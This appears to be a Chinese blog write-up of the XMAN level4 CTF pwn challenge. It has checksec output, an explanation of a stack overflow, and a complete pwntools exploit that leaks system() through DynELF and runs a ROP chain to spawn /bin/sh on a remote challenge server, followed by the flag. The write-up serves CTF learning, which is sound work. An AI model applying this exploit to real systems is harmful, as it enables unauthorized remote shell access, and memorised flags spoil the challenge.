[XMAN] level4

首先checksec，信息如下

[*] ‘/root/Desktop/bin/pwn/xman-level4/level4‘
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

沒開棧保護，於是考慮棧溢出。

剛做完stack(ret2libc)，看到這題直接就想到泄露libc版本，一開始嘗試和stack一樣的做法，即泄露read和write函數的地址從而找到遠程libc的版本，但是試了一發發現找不到libc版本。。。

然後就用DynELF，得到system的真實地址。用read函數將‘/bin/sh\x00‘寫入bss段，然後通過三次pop調用system函數，參數使用bss地址，即system(‘/bin/sh‘)。

exp如下

#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "[email protected]"

from pwn import *
#context.log_level = "debug"

#io = process(‘./level4‘)
io = remote(‘pwn2.jarvisoj.com‘, 9880)
elf = ELF(‘./level4‘)
#libc = ELF(‘/lib/i386-linux-gnu/libc.so.6‘)
 


#get_system_addr
write_plt = elf.plt[‘write‘]
write_got = elf.got[‘write‘]
main_addr = elf.symbols[‘main‘]

def leak(address):

    payload = flat([‘a‘*0x88+‘f**k‘, write_plt, main_addr, 1, address, 4])
    io.sendline(payload)
    data = io.recv(4)
    return data

dynelf = DynELF(leak, elf=ELF(‘./level4‘
 
))
sys_addr = dynelf.lookup(‘system‘, ‘libc‘)
print ‘system_addr:‘, hex(sys_addr)

#get_the_shell
bss_addr = 0x0804A024
read_plt = elf.plt[‘read‘]
#ROPgadget --binary level4  --only "pop|ret"
ppp_addr = 0x08048509

payload = flat([‘a‘*0x88+‘f**k‘, read_plt, ppp_addr, 0, bss_addr, 8, sys_addr, 0xdeadbeef, bss_addr ])
io.sendline(payload)
io.sendline(‘/bin/sh\x00‘)

io.interactive()
#flag:CTF{882130cf51d65fb705440b218e94e98e}

作者： LB919

出處：http://www.cnblogs.com/L1B0/

如有轉載，榮幸之至！請隨手標明出處；

XMAN-level4